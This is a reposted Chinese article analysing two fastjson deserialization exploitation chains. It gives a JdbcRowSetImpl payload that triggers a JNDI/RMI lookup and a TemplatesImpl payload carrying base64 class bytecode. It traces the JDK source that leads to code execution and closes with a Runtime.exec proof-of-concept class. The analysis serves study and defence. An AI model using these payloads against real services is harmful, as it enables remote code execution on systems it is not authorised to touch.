转载

fastjson反序列化的两种利用方法的原理剖析

利用JdbcRowSetImpl的payload如下:

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://127.0.0.1:3456/Object",
    "autoCommit":true
}

在触发反序列化时会调用 JdbcRowSetImpl 类的 setAutoCommit 函数

public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }
}

继续跟进 connect 函数

protected Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
}

可以看到当conn为null时会发起JNDI查询从而加载我们的恶意类。

TemplatesImpl

payload如下:

{
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes":["base64编码后的继承于AbstractTranslet类的子类的class文件"],
    '_name':'a.b',
    '_tfactory':{ },
    "_outputProperties":{ },
    "_version":"1.0",
    "allowedProtocols":"all"
}

由于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类的 outputProperties 属性类型为 Properties 因此在反序列化过程中会调用该类的 getOutputProperties 方法。

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

继续跟进 newTransformer 方法

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);//this line

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
	}

newTransformer 方法中需要实例化一个TransformerImpl类的对象,跟进 getTransletInstance() 方法

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

跟进 defineTransletClasses 方法中

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            //...
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

可以看到该方法将会遍历我们传入的 _bytecodes 数组,执行 loader.defineClass 方法,而 TransletClassLoader 类的defineClass方法如下:

Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }

可见直接实现于 ClassLoader 类的 defineClass 方法。查询jdk1.8的文档

fastjson反序列化的两种利用方法的原理剖析

可以看到该方法会将我们传入的编码后的class文件加载入jvm。

而我们的恶意类继承于 ABSTRACT_TRANSLET ,即 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,因此便会设置 _transletIndex 为0。再回到我们的 getTransletInstance 方法中,

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

生成了一个我们的恶意类的对象实例,因此导致了我们的恶意类中的代码最后被执行。

这里我们使用的恶意类如下:

package JavaUnser;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class ShellExec extends AbstractTranslet{
    public ShellExec() throws IOException{
        Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }

    public static void main(String[] args) throws Exception {
        //ShellExec t = new ShellExec();
    }

}
原文  http://hexo.imagemlt.xyz/post/java-unserialize-learning-3/index.html
正文到此结束
Loading...